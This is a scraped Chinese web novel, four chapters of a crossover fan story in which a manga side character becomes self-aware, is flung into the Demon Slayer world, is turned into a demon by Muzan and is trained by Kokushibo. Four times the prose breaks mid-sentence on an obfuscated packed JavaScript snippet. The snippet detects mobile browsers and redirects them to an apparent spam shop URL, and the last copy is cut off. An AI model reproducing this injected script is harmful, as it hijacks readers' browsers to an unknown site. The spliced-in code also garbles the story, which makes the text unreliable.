《关于我变成鬼后又转生异世界这件事》 1. 意识觉醒 我叫雪野夕,是一部漫画的路人甲。 至于这是什么漫画?不重要,大概就是那种国中生之间的“朦胧心动”,中间还有个恶毒小姐喜欢随随便便看着男主冷笑一声、把人关进男厕所、抱着手臂围堵可怜的男主…… 哎?为什么是欺负加围堵男主角?当然是因为女主角是恶毒二小姐的亲亲姐姐大人,而妹妹和姐夫天生就是竞品啦! 在把总是穿着洗得发白衬衣的男主角按在墙角警告六次,偷走他写好的作业七次,强行把他关进男厕所八次…… 不是吧喂!我的二小姐,您那一米五的身高按住别人只会有可爱感根本没有一丝一毫的威慑力啊! 每次偷走男主角的作业都会被他发现并且关切地询问是不是要抄作业,然后被大小姐死亡微笑着狠狠警告! 而且您根本进不去男厕所,每次很有道德感地只锁男厕所大门会拉仇恨的喂!对方很快就会被着急上厕所的同学解救,怪不得他到现在都觉得您只是顽皮了一点而已! 对于这点小瑕疵,二小姐源真理子只用一张卡就说服了我。 哦呵呵,我多财多亿平亿近人的二小姐哟,请尽情这么做吧,老奴就是您最坚定的支持者啊! 总之,今天也是坚定地做源真理子小姐的狗腿的一天! ——【雪野夕の日记,5月20日】 黑发少女“啪”的一声合上日记本,在这个世界上,正常人谁会写日记啊! 恰好,她就不是正常人。 这个世界,是一本名为《天才继承者与咖啡店打工人》的漫画,而她雪野夕,正是恶毒女配身边的一个恶毒狗腿。 而且还是自我意识觉醒了的那种。 在她十五岁生日那天,随着她一蹦一跳地打开了回家的大门,然后就是后脑一痛眼前一黑。 是的,她被门槛绊倒,成功在空中自由转体三周半,然后狠狠地用自己饱满的后脑勺重重磕上了地面。 把自己摔成了脑震荡。 在她昏迷三小时后,凄凉地自己醒了过来,然后就自我意识觉醒了。 有什么是比一觉醒来,睁开眼睛发现自己躺在冰冷的地板上,没人扶起自己是因为漫画作者根本就没给自己画父母更悲惨的事情吗? 有的,那就是她在第二天发现本漫画作者居然断更了,因此这个漫画世界里的所有人都必须反复地重复漫画的最新一话的内容。 直到漫画更新为止。 救命啊!在回忆起自己没觉醒时循环了八百次的,早上,打开冰箱扶着冰箱门往嘴里塞了点干巴面包,因为没水而被噎得脖子前抻二里地,慌慌张张地套上制服往学校赶,结果路上一个滑铲把自己两个膝盖摔烂之后—— 雪野夕彻底怒了! 作者啊作者!你是少女漫的漫画家啊!不是什么搞笑番吧!而且我的定位是恶毒女配,你就让我这么没有排面吗? 正在断更享受生活的作者酱:阿嚏! 没有排面的“恶毒女配”雪野夕,目前十五岁,就读于立花中学一年级。 在这个玛丽苏的世界,这个国家的经济命脉是由源氏集团背后的源家所掌控的,而源家在十五年前曾经生下了一对双胞胎。 姐姐源未来和妹妹源真理子。 她们也是这本漫画的女主角和“恶毒女配”。 而设定上是二小姐源真理子的跟班的雪野夕,作者就画得比较草率了—— 她的父母都是醉心工作的打工人,现在正在国外进行长期的出差,但其实这是作者懒得再画两个人的借口。 每隔半年一年才能接到的来自“父母”的电话,也是画稿中被设定好的内容,在雪野夕的记忆中,压根就没有父母的存在。 但每次家中的电话铃声一响起,她都会在剧情的操控下欢天喜地地拿起电话,说着设定好的台词——“莫西莫西,是妈妈吗?” 心怀怨念的雪野夕在觉醒记忆之后,恶狠狠地做出了属于自己的反抗。 是的,她在冰箱旁边放了一杯水,以防止第二天剧情循环的时候自己再被噎住。 第二天,再次被噎住的雪野夕瞪着空空如也的桌面,感觉使劲抻着脖子也咽不下去嘴里的干巴面包了。 岂可修!!! 桌子上有杯水这种在漫画中没有出现的情节,理所当然地在第二天新的循环中被抹除了。 雪野夕郁郁不乐地走进学校,一点也不焦急,因为在她的实验中,就算是她早上硬赖在床上不起床,都会被剧情的力量提溜起来吃干巴面包。 同时,她会在被噎住的四十五秒后用自己的喉部肌肉把面包咽下去,三分钟后换好制服并跑步出门,然后精准地踩点进教室。 紧接着,被一个金毛戴眼镜的精英男子高中生嘲讽。 “雪野同学,下次再敢踩点进教室,我就要扣你的平时分了。”精英金毛男、风纪委员大道寺玄风用食指和中指推了推眼镜,“今天就放过你一次,下不为例。” 雪野夕:呵呵。 大哥,我都过了半年一模一样的生活了,你倒是扣分啊! 当然,作者画这段剧情的目的,只不过是为了接下来,本作男主角、猫之咖啡店的打工皇帝、豪门继承人源未来小姐的真爱、超级无敌人美心善的男主角—— 雪野夕:好了好了,教室里可放不下那么多人。 咳咳,总之即将登场的是本作的第一美人,第一男主角鹤羽苍空是也。 雪野夕坐在位子上,开始神游,等到老师突然喊她回答问题,她也站起来回答了。 嗯,问就是剧情操控的,她无法选择。 但多次的实验也是有结果的—— 在被迫跟着源真理子去嘲讽了一下男主角后,今日属于她的剧情终于结束了。 雪野夕疲惫地瘫在桌子上。 每天进行这种时间循环,真的很累啊。 如果她不能想办法摆脱漫画内容的影响,难道要每天祈求作者赶快更新吗? 她再次叹了一口气,经过多次摸索,她已经明白了,凡是被作者描绘过的情节, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306260|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她就一定会受到漫画剧情的操控,但觉醒后,其他的时间她都可以自己安排。 “雪野同学,不要如此没有形象。”大道寺玄凤用手指顶着他的眼睛过来了,镜片上还反过两道白色的光。 雪野夕:…… 嗯,是作者钦点的自带动作和打光的风纪委员。 至于那边的主角团,她看向长相一模一样的源氏双胞胎和站在一旁的男主角。 这些也是自带背景和音响的人士。 拥有浅金色头发和湖蓝色眼眸的鹤羽苍空是温柔男主的标配,心地善良喜欢猫咪,当他注视着一个人的时候,所有人都会溺死在他澄澈的眼眸里。 雪野夕对他的感觉很微妙。 因为作者想要表现对立的关系,而源氏姐妹的色彩又是月白色长发配上宝石蓝的眼眸,所以她就被钦点为主角对照组—— 一头漆黑且厚重的长发,深秋时的森林般的苍绿色眼睛,以及经常神游而面无表情的死宅面孔。 还好少女漫中,没有丑人;纸片人微死,那也是别有一番风味。 雪野夕:嘿嘿,夸得我都有点不好意思了。 她穿着制服,一蹦一跳地往家走,旁边的同伴都面色诡异地盯着她。 他们不知道一个膝盖摔得稀烂的人为什么会笑得这么开心。 而且这不是雪野夕吗?那个不喜欢说话的宅女! “真是对我的配色有偏见的愚蠢人类啊。”她感叹,然后看着自己黄毛粉毛紫毛蓝毛的同学们,感觉像是看到了一大把随意扎起来的花骨朵。 唉,作者什么时候才能更新呢?她低头看向格子砖,小心地避过每一个缝隙,希望明天一睁眼,就会感受到新的剧情啊。 她拐了个弯,这条路已经走了很久,久到每一个细节她都记得清清楚楚…… 哎?谁来告诉她,为什么街边的一家潮玩店门口会突然多了一台扭蛋机啊? 扭蛋机旁边还有一个半人高的、看起来是用黏土做成的肥啾。 当雪野夕若无其事地从肥啾面前路过的时候,胖乎乎的肥啾突然开口了—— “勇敢的少女啊,你是否已经对当前的生活感到厌倦了呢?” “黏、黏土玩偶开始说话了?”她小小地吃惊了一下,“我应该没有食物中毒吧?” “哼哼,没有眼色的人类啊!”黏土肥啾传出了傲娇的声音,“本大人,可是享誉漫画世界的魔法使啊!” 说完,黏土肥啾两个短短的翅膀叉腰,仰头“啊哈哈哈哈”大笑起来。 雪野夕:…… 一看就很不靠谱的样子,敬谢不敏。 “喂喂,别走啊!”黏土肥啾看着转头就要离开的少女,慌忙扇动翅膀来到了扭蛋机旁边,用小短翅膀一按—— 咔—— 一个扭蛋咕噜咕噜滚了出来,被肥啾“咻嘿”一声扔掉了雪野夕的书包上面。 “拯救世界吧,被命运选中的少女哟!”肥啾神神叨叨地感叹了一句,又“啊哈哈哈哈”地笑了起来。 2. 被迫穿越 今天发生的事太离奇了,我竟然在放学路上看到了一家从来没有出现过的潮玩店和一只自称魔法使的肥啾。 据我所知,这本少女漫应该没有掺杂什么奇幻元素啊!除非是作者突然失心疯,准备让女主角变成魔法少女! 再说了突然出现的肥啾什么的想想就很可疑! (日记本下面似乎还写了什么东西,但被记录者重重地划掉了。) 下面的日期依稀可以看出依旧为5月20日记下的。 再接下来空白了两行,日记的主人似乎把用于书写的圆珠笔换成了细细的碳条—— 啊啊啊啊我信了!这是什么鬼地方,烦死了!我宁愿回去当少女漫的恶毒女配啊! 这种白打工的日子真是受够了!白打工也就算了,同事还不好相处,老板还是个会随地大小变的东西,真的!服了!如果可以,真想把他们都转移到烈日下盛开的紫藤花树林里好好腌制一会! ——【雪野夕の日记,7月31日】 “咦,扭蛋是什么时候粘在我的书包上的?”雪野夕晃了晃这枚能被她的手掌包裹住的扭蛋。 她现在正站在另一个拐角,没有真正的走开。 毕竟今天突然出现的潮玩店也太离奇了,而且万一接下来都不会出现的话…… 她拿着那枚扭蛋悄悄从街角探出头,想要观察一下那只肥啾的动态—— 清冷的街道在夕阳下蒙上了一层金红色的光辉,除此之外,并没有什么潮玩店的影子。 雪野夕:咦!!!??? 她只是想声东击西一下,怎么对方真的不见了! 她绕着已经空空如也的街道走了三圈才满怀心事地回了家,照样往床上没形象地一扑。 立花中学是一所标准的贵族学校,其目的在于培养真正的名门望族后裔。 在雪野夕看来,具体就表现在每个在学校上学的学生都必须保持绝对的“优雅”。 如果是设定好的“她”,想必会每日板着个脸,像个大和抚子那样时时刻刻腰背挺直,神色冷淡,只是在二小姐源真理子去找男主角鹤羽苍空麻烦时才会用扇子挡住下半张脸,发出嘲讽般地轻笑。 但现在的她真的做不到。 反而一想到那种场景,就莫名其妙地生出一种被打了麻药的感觉。 噫,还好摔到脑子了,不不不,就是因为摔到脑子才会一想起这些事就头皮发麻、脚趾抠地啊! 家里的房子都要给她抠出地下室负二层来了! 第二天,在剧情的力量下被迫醒来的雪野夕晃了晃脑袋,抄起枕头边的扭蛋去冰箱前吃干巴面包,虽然目前不知道这东西有什么用,但好歹也是大半年里唯一的变数啊! 总不会是漫画作者一时兴起,搞得抽奖对吧…… 真的不会的,对吗? 雪野夕:QAQ。 她像个游尸一样走进了教室,听完了已经让她耳朵起茧子的同学们间的谈话。 第一节课、第二节课…… 钟声响起,预告着已经到了十点半,进入自由活动时间。 源真理子已经趾高气扬地朝着她走了过来,因为又到了日行一恶欺负男主君的时刻,她准备召集人手,用颜料把男主角的白衬衫染色成粉色。 已经知道她会失败,并且男主君似乎还把衬衫当成了二小姐礼物的雪野夕忧愁地叹了口气——其实这本漫画的本质,是搞笑恋爱番吧。 但走着走着,二小姐的脚步停下了,她甚至是目瞪口呆地瞪着雪野夕身后的方向。 不明所以的雪野夕满头问号,以前的剧情里没有这茬呀,又有意外发生了? 教室里其他同学也发出了惊呼,甚至有些人已经开始尖叫起来。 “什……”雪野夕也回过了头,下一秒,气势汹汹的红色大卡车撞碎了玻璃和承重墙,连带着将坐在窗边的雪野夕一起撞飞了出去—— 这里可是三楼的教室啊!这是雪野夕失去意识前脑海中的最后一个想法。 ———— “醒醒、醒醒呀……”一个软萌的声音在雪野夕耳边不断呼唤着。 啊……发生了什么事情?被呼唤的少女只觉得全身无力,头脑昏沉得睁不开眼睛。 “那就只好使用我的绝招了啾!” 下一秒,雪野夕感觉有一根毛绒绒的东西伸到了自己的鼻子下面,轻轻晃了晃,又晃了晃。 “阿嚏!”在这种刺激下,她终于睁开了眼睛,然后就发现,自己现在好像变成了流星在天上飞,身边是近乎漆黑而空旷的“宇宙”,在她身后还拖拽着一道长长的尾焰,极力远望,远处似乎还有不少像自己一样的“流星”不断地划过,而刚刚挠自己的,是一只巴掌大小的肥啾,它正拼命扑扇着自己的小短翅膀跟在她身边。 “勇者大人!您终于醒了!”看见她醒过来,肥啾的眼睛里盈满了泪花,简直要变成了两个水汪汪的荷包蛋,“担心死人家了啾!” “你是谁啊?为什么在这里?我又为什么在这里啊!”醒过来的雪野夕连珠炮一样发出一串疑问。 “我是那个扭蛋啾!”肥啾挺了挺肉乎乎的小胸膛,“而且人家还兼职勇者大人你的系统哦,未来的异世界冒险就需要勇者大人和我一起努力啦!” 身体正在“银河”中飞旋着的雪野夕大惊失色,“难道作者终于疯掉了,要把少女漫改成热血少年漫了?!” “而且系统不是应该在我睡着的时候用一堆数值的强化和已经获得的技能来唤醒我吗?难道你是什么基建系统吗?” “才不是啦啾!”肥啾猛地啄了一下她的头,“其实是因为……因为卡车君它……”似乎是想到了什么心虚的事情,肥啾唯唯诺诺地不敢说下去了。 “好痛!”雪野夕捂住了脑袋,“等下等下,你心虚什么,所以说现在的情况跟你有关喽?” 肥啾闭了闭豆豆眼,“其实是因为卡车君最近业绩不足您又收到了魔法使大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306261|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的扭蛋所以被着急工作的卡车君当作需要选召的勇者大人事情才会变成这样的啾!” 雪野夕:“?” “我可从来没有说过我要当勇者啊!”她一把抓住肥啾不断扑腾的肥啾,“快点把我送回去啊!” “没有这项业务啦勇者大人!”肥啾破罐子破摔不再扇动翅膀,“因为您所在的这本漫画,作者酱已经、已经决定断更啦!” “如果您不选择当勇者的话,就会被永远被困在最新一话循环啊啾!” 雪野夕愣住,“什么啊居然选择断更,那我不就只能去当莫名其妙的勇者了吗?你以为我会这么说吗你这只肥鸟!我可是!恶毒!女配啊!” “哇哇哇救命啊啾啾!我的羽毛,我的羽毛要掉了啾!”肥啾再次眼泪汪汪,声音弱了许多,“可是人家说的是真的啊啾。” 在她们两个撕扯之间,雪野夕的身体已经来到了一个巨大的白色光球旁边,然后以极快的速度一头扎了进去! 在再次陷入昏睡之前,雪野夕的脑海里快速略过了很多零碎的画面—— 红色的大卡车将她撞飞出去后,整个漫画世界都像降维了一样变成了黑白色的纸页,而这一面上每个人的表情都是大写的“惊恐”,然后“哗啦啦”纸张翻过,回到了第三话,也就是作为【恶毒女配】的【雪野夕】正式出场的那一话。 画面上,一头漆黑长发,相貌美丽的绿眼少女的身影就像是被橡皮擦擦除了一样,正在一点点的消失。 接着是第四话、第六话、第十三话…… 一直到最新话的人物也完全消失,这部漫画里已经没有了名为【雪野夕】角色的存在。 而在5月20号那天,立花中学照常地开学,气呼呼的二小姐源真理子照常打算把鹤羽苍空的衬衫染成粉红色,但这一次,她直接路过了教室里唯一一个空位。 随着她头也不回地朝男主角走去,那张空桌子也越来越淡、越来越淡…… 雪野夕则是彻底化作了一团流星,穿过夜空白云,穿过苍苍的森林,穿过别人家的屋顶,最后重重砸在了两个正坐在一起密谋什么的“人”前。 ———— 源真理子怒气冲冲地朝着鹤羽苍空的白衬衫走去,哼,当她看不出来这个人总是穿着洗得发光的白衬衫向她姐姐暗送秋波吗?这个绿茶!竟敢迷惑我最最英明神武、杀伐果决的姐姐大人,看她不把他的秘密武器白衬衫染成粉红色,让他下次看着姐姐脸红的时候失去白衬衫的加持! 不光如此,她还要下次染成蓝色,下下次染成黄色,下下下次染成绿…… 哎?绿色?说到绿色,她总觉得今天班里似乎少了一个人……是谁呢?源真理子的视线扫过班里——小林、天羽、黑川……都在啊。 她的眼睛略过只剩下最后一点光影的、摆放在窗边的桌椅。 应该只是她的错觉吧? 少女转过身去,提起裙摆,等着吧鹤羽苍空,我今天一定要揭穿你! 3. 大正时代 今天真是我人生中,不,是我被画出来之后最悲惨的一天! 要不还是持保留意见吧,万一后面还有更悲惨的事情在等着我呢? 事情是这样的,从天而降砸穿了“倒霉人士”的屋顶之后,我晕晕乎乎地坐了起来。 然后我就看见了室内的两个人、呃、两个东西吧应该是。 因为他俩一个穿着女式合服,面色惨白,长着红眼睛而且瞳孔细长,看起来拿个烟斗就能立刻胜任花街的妈妈桑,但是头上偏偏带了个宽大的礼帽看上去有些不伦不类…… 另一个就更离奇了,深红色的头发被他扎成高马尾,身材高大而且看起来很不错,但他为什么有六只眼睛啊! 抿紧的唇角让他看起来非常严肃,中间那对眼睛里一个写着“上弦”,另一个写着“壱”,而妈妈桑则像一只阴郁的毒蛇,让人完全不想接近! 事实证明,我的第一直觉很准,这该死的第六感(写下这段话的人笔迹力透纸背,看起来很愤怒)。 阴冷妈妈桑自称鬼舞辻无惨,是名为鬼的生物,而她更是其中最完美的那一个,也就是鬼王的存在。 (我真的很想骂一句,为什么妈妈桑一开口是一副有点浑厚的嗓音。) 她对我的出现非常愤怒,这愤怒中好像又夹杂着一丝惊惧与好奇。 在看出我只是个手无缚鸡之力的人类之后,她毫不犹豫地伸出了锋利的刺鞭,向我的身体里注入了大量来自于她的血液。 那个六眼男人,哦,也就是我后来的老师就抄着手在旁边冷漠地看完了这一切。 我当然痛得死去活来,恨不得咬舌自尽,但体内突然多了大量不属于我的血液,这让我连控制自己的身体都做不到,只能蜷缩在原地不断痉挛。 带着礼帽但十分没有礼貌的鬼舞辻无惨扶了扶帽沿,嘴角露出残忍的笑意—— “既然你打断了我和我的合作伙伴好不容易的一次会面,当然要付出代价。” “就让我在你身上做个实验,看看一瞬间被我注入超大量的血液的人类能不能存活下来吧。” 嗯,他似乎是这么说的。 总之,我就这么倒霉地开启了我的“勇者”生涯,真是太讽刺了。 ——【雪野夕の日记,不知道具体时间】 两只鬼冷漠地看着被注入血液的少女在地板上挣扎,连手指也深深嵌入地板中,五指崩裂流出鲜红的血液。 “我真是十分讨厌她看向我的眼神啊。”鬼舞辻无惨像什么也没发生似的整理自己的衣袖,那种下意识瞪大了眼睛,似乎在疑惑为什么眼前的这个“人”脸色如此苍白的模样。 那就让她变得和自己一样好了,无惨心想。 当然,她甚至都不一定在接受了自己大量鬼血后活下来。 想到这里,“她”又变得兴趣缺缺。 上次与上弦之一黑死牟的见面似乎是在几十年前,这次自己本来就是路过,没想到却被一个低等生物打断了。 眼下已经没有了心情继续“叙旧”的鬼舞辻无惨冷哼着甩了是衣袖,“那么我就离开了。” 黑死牟点了点头,他们之间本就不常见面,这次本就是碰巧而已。 至于那个还在自己的会客厅中忍受折磨的人类,黑死牟的想法和无惨差不多。 还是等到她能活下来再说吧。 等到无惨离开,黑死牟也准备去继续自己没下完的围棋了。 而雪野夕则被扔在了头顶破了一个洞的屋子里,她的身体仍然止不住的抽搐着,从她降临到这个时间为止,这一切都发生的太快了,让她的意识一点都反应不过来,身体就遭受到了极致的痛苦。 看着双目无神,口中不断吐出鲜血的雪野夕,一直藏在她头发里的肥啾用小小的身子顶住了她的脸颊—— “勇者、勇者大人——请不要死啊啾!” 在肥啾一声接着一声的呼唤中,少女的眼睛还是一点一点地灰暗了下去。 喉咙间呛住的血沫让她连惨叫声都变得非常细微,但却让肥啾有了一点安慰,因为这代表着雪野夕还没有彻底死亡。 这种濒死的痛苦整整折磨了雪野夕一个晚上,直到第二天清晨的太阳升起,阳光渐渐从头顶的破洞洒落进来照射到蜷缩在地上的雪野夕身上。 这时,哭哭啼啼了一晚上的肥啾发现,勇者大人被照射到的手臂竟然在缓缓消散! 不!不能让勇者大人暴露在太阳光下! 肥啾再次卯足了力气,用自己毛绒绒的身体在雪野夕脸侧使劲拱了几下。 双眼紧闭的雪野夕毫无动静。 肥啾又快哭了,它扑腾着飞到雪野夕脸上,用尖尖的鸟喙狠狠叼住雪野夕的脸颊,“醒醒!快醒醒啊!再不醒来就真的要死了啾!” 阳光不断分解着眼前这个人的身体,就在肥啾要陷入绝望的时刻,突然身体腾空,掉落在了地板上。 它呆呆地发出一声“啾”,就看见上一秒它拼命叫醒的勇者大人,此时正蜷缩在屋子的最角落的阴影里,眼神近乎空洞。 下一秒,巨大的剑气横扫整间屋子,阳光笼罩大地—— 抱膝坐在阴影中躲避雪野夕也不见踪影。 而罪魁祸首正是不远处站在巨木下的树荫里的黑死牟。 他感知到这个人类已经彻底变成了鬼,所以特地赶过来试探一下。 哈,有趣,很罕见的血鬼术呢。 黑死牟微微歪了歪头,避开对方来自于血鬼术的一道斩击。 身后的巨木传来一声闷响,那粗壮的枝干竟然完全被切断了,此时正在缓缓地倒下。 效果惊人,但黑死牟依旧没有回头。 在树干倒下,树冠无法提供阴影之前,他依旧可以轻松获得胜利。 果然,不过是几次呼吸的时间,雪野夕就被他斩断了手臂,用木刀牢牢地压制住肩膀无法起身。 肢体被砍断的痛苦犹如连绵不绝的潮水,让她的身躯不停地颤抖着,但即使如此,她仍然抬起头直视着黑死牟的脸。 “很好。”黑死牟发出了低沉的声音,“你不服气是吗?” “行动之间毫无章法可言,连在攻击的时候也不懂得用自己的血鬼术作为策应。” “不过,倒是有几分勇气。” 眼前新生的鬼,身体似乎很适合学习呼吸法,连血鬼术似乎都很合适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306262|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的月之呼吸。 他如今使用的剑技也是配合着自己的血鬼术与血肉铸造的虚空神去才能威力最大化,但她的血鬼术说不定连虚空神去也不需要。 “我名黑死牟,当然,也可以称呼我为继国岩胜。”用木刀压制着雪野夕的鬼突然就开始了自我介绍,“但以后,你要作为我的继子,修炼我所使用的呼吸法。” 他的思绪不由自主地回忆起那一天,似乎已经是四百多年前了,自己的孪生弟弟继国缘一对于他们二人即将失传的剑技毫不在意的模样。 以及他死前流着泪的双眼—— “多么悲哀啊,兄长大人。” 哼,黑死牟在心中冷哼一声,他在人类时期就没有找到适合传承月之呼吸的继子,变成鬼后更是不但锤炼自己的战技,现在的月呼早已变得不再适合人类学习。 可是没关系,缘一,你已经早早地死去了,与你修炼的日之呼吸有关系的人更是被屠戮殆尽,而我今日却发掘了一个能够学会月之呼吸的鬼。 被压制在地的雪野夕刚刚被他斩断的手臂已经重新长了出来,此时并没有轻举妄动,但看她的眼神,多半还是很不服气的。 对于这点,黑死牟并不在意,弱者当然要有不断向上挑战的勇气,否则就没有存在的价值了。 但身为学生,当然不能对师父如此不敬。 他再一次扬起木刀,敲在了雪野夕另一侧肩膀上。 雪野夕再一次感受到了剧痛,她的眼泪簌簌而下,终于忍不住弯下了身子。 大团的眼泪落在沾满了血液的衣襟上,冲刷出淡淡的红色水迹。 造成这一切的黑死牟满意地看了看,用木刀将她挑飞到树林中。 “明日一早,我会正式传授你月之呼吸的剑技。” ———— “勇者大人,您没事吧啾!”肥啾非常担心地落在雪野夕的身边。 雪野夕的眼泪还在眼眶里打转,此时也只能有气无力地问:“你把我……带到了一个什么地方?” 自称为系统的肥啾蹭了蹭她的脸颊,“这里是另一个世界,在这个世界中,有一种名为鬼的生物……” 在肥啾细细的声音中,雪野夕搞懂了这个世界的基本常识。 “昨晚那个邪恶妈妈桑,似乎把我也变成了鬼?”她咳了两声,“对我回去会有影响吗?” “这个、这个……”肥啾用鸟喙叨了叨她一缕发丝,“其实因为您产生了自主意识,即将被漫画世界抹除,所以才会被选中的啾……” “所以。”她听完这句话,“我回不去了,对吗?” “……” 肥啾沉默。 “……哼。”良久,躺在地上的雪野夕发出了一声状似失心疯的哼笑,“算啦,本来在原来的世界里每天看着相同的风景也烦了。” “那就让我体验一下异世界冒险的乐趣吧。” “那……”本来哭哭啼啼的肥啾眼泪冒出了希望之光,结果一抬头,发现自己的勇者好像也在哭啊。 “……勇者大人,您会原谅我吗啾?” “想多了,我可是恶毒女配出身。” “啾啾!” 4. 月之呼吸 可恶!!! 这个没礼貌的世界! 这个没礼貌的魔法使和系统! 这个该死的屑老板,我要每天在日记里骂他一万遍! 好在系统还有一点用处,我和这只愚蠢的肥啾做了个交易。(这句话旁边有好几个小鸟的爪印,还有几句歪歪扭扭的话,看起来像是用鸟爪子写的——“明明是勇者大人威胁我的啾!”之类的,以及后面见缝插针的那一句——“写不出来就不要硬写了,这种时候都忘记不了你那愚蠢的口癖吗!”) 交易的具体内容是抹除我需要吃人的缺点。 是的,毕竟我不想真的变成汉尼拔一样的存在,而且我真的很讨厌吃完全生的东西,但代价是我以后必须每天强制性休眠十二个小时左右。 想想自己可能过上昼伏夜出、准时睡觉、时不时感叹一句“妈妈,人有点生”的日子,我就忍不住痛哭涕流。 还好鬼们并不一起行动,而是个个独行侠,所以对于我的行为,并没有鬼来管束我,据说是屑老板特别害怕大家联合起来推翻他的残暴统治,所以有意无意地不许十二鬼月见面。 对于这一点,我嗤之以鼻。 众所周知,不会带团队,你就只能干到死,而我会静候那一天的到来。 ——【雪野夕の日记,据说今天是6月1日。】 第二天的晚上,黑死牟提着木刀站在了树林里,雪野夕也已经站了起来,和他面对面。 然后又被一木刀敲在了肩膀上。 被迫弯腰的雪野夕有点咬牙切齿,“师父。” 黑死牟这才点了点头,收回了木刀,继子理所当然地要对师父态度恭敬,至于刚刚那一下,在他看来连训斥都算不上。 只不过是认为继子有点不懂得尊卑礼仪,还需要教导一下罢了。 “下一次来这里,我会把手里的刀换成真正的利器。”他用严厉的语气说:“月之呼吸,是一门真正的,杀人的剑技。” 经过这些年他不断地开发,如今已经高达足足十六种型。 雪野夕因为变成了鬼,在力量与灵活度方面的要求已经足够,但技巧方面可以说是一塌糊涂。 即使是学习剑法的天才,没经过训练前的动作在黑死牟眼中依旧非常蹩脚。 而他也绝对称得上是严师了,随手扔给雪野夕一把木刀,在演示完一种剑型后,他就会要求雪野夕用刚刚他用出来的剑技与他对战,动作即使是稍有不标准就会被他用木刀纠正过来。 这个纠正可不是一般的纠正,以他的力量,轻轻一下子就可以让她骨折,再重一些就要断手断脚了。 受伤后当然也不会被允许休息与恢复,因为在黑死牟眼中,对战时敌人也不会给你休息与恢复的时间的。 学月之呼吸的第一天晚上,雪野夕感觉自己全身的骨头都被打断了一遍。 这还是在她有血鬼术加持的情况下。 她的血鬼术的效果为【空间支配】,可以自由地对周身的空间进行扭曲形变,也能操纵空间进行斩击与探测。 但由于还不够熟练,加上黑死牟发现她在尝试着结合自己的能力进行抵抗,于是他很满意,满意的结果就是他下手更重了。 很快,雪野夕就过上了睡觉、挨打、睡觉、挨打的循环生活。 就这么差不多过了一年多的时间,她勉强掌握了月之呼吸的十六种型,而黑死牟也没什么兴趣长久地停留在一个地方,他所追求的一直是变得更为强大。 于是在某一个晚上,她格挡下了来自于黑死牟的【月之呼吸·十六之型·月弧·孤留月】后,他开口了,“我会离开这里,继续锤炼自己的战技,在我离开之后,你去哪里并不重要。” 雪野夕还没有完全反应过来,就又听到他低沉的声音,“当然,每隔一段时间,我会回来检验一下你的战技,如果没有令我满意……” “不会的,老师。”内心已经宽面条式流泪的雪野夕当即表现出一副“交给我您尽管放心”的样子,“您不在的时候我绝对会认真修习月之呼吸,包勤奋的!” 没有被现代话术洗脑过的黑死牟看见她“诚恳”的态度,勉为其难地点了点头。 第二天晚上,她再次醒过来的时候,房子里果然已经没有了黑死牟的身影。 雪野夕如释重负地瘫倒在地,然后告诉肥啾“我要睡觉,不要叫醒我”就再次睡了过去。 每天被黑死牟打然后恢复,能量几乎快要供应不上,所以她必须睡更长的时间来积攒能量才行。 等到再次醒来,已经是半个多月后了。 肥啾中途差点以为她彻底死了,每天都在她身上蹦来蹦去试图叫醒她。 雪野夕雷打不动,比死猪还要死猪。 幸好这座宅子在荒郊野外,平时连进山砍柴和狩猎的人都不会进入这么偏僻的地方,野兽的直觉要比人类强得多,察觉到黑死牟的气息之后自然也不会找死地凑过来。 雪野夕醒来后,先是发出了一阵突发恶疾似的动静,随后就想卡住了一样开始盯着虚空中的某一点一动不动。 肥啾对此已经见怪不怪了,这些不过就是它家勇者大人起床的必要流程而已。 而等到她彻底清醒过来,才用手胡乱梳了梳头发,然后一把抓过肥啾—— “选我当勇者,要完成什么任务吗?” 肥啾的身子一僵,哽咽着问:“一年多了,整整一年多了!您知道我这四百多个日日夜夜是怎么过来的吗啾啾?” “不知道,说重点。” “任务就是——”肥啾清了清嗓子,做出一副“我很专业”的模样,“让这个世界里的气运之子得到幸福。” “……”雪野夕沉默一秒,然后捧读,“好伟大的任务啊,我拒绝。” “啾!”小胖鸟急了,把翅膀扇得让人看不清,“您刚刚明明问了任务内容啾!” “我只是问问,没说要做啊。”雪野夕重新躺下,“毕竟我是恶毒女配啊,恶毒女配为什么要做好事呢?” “可是、可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 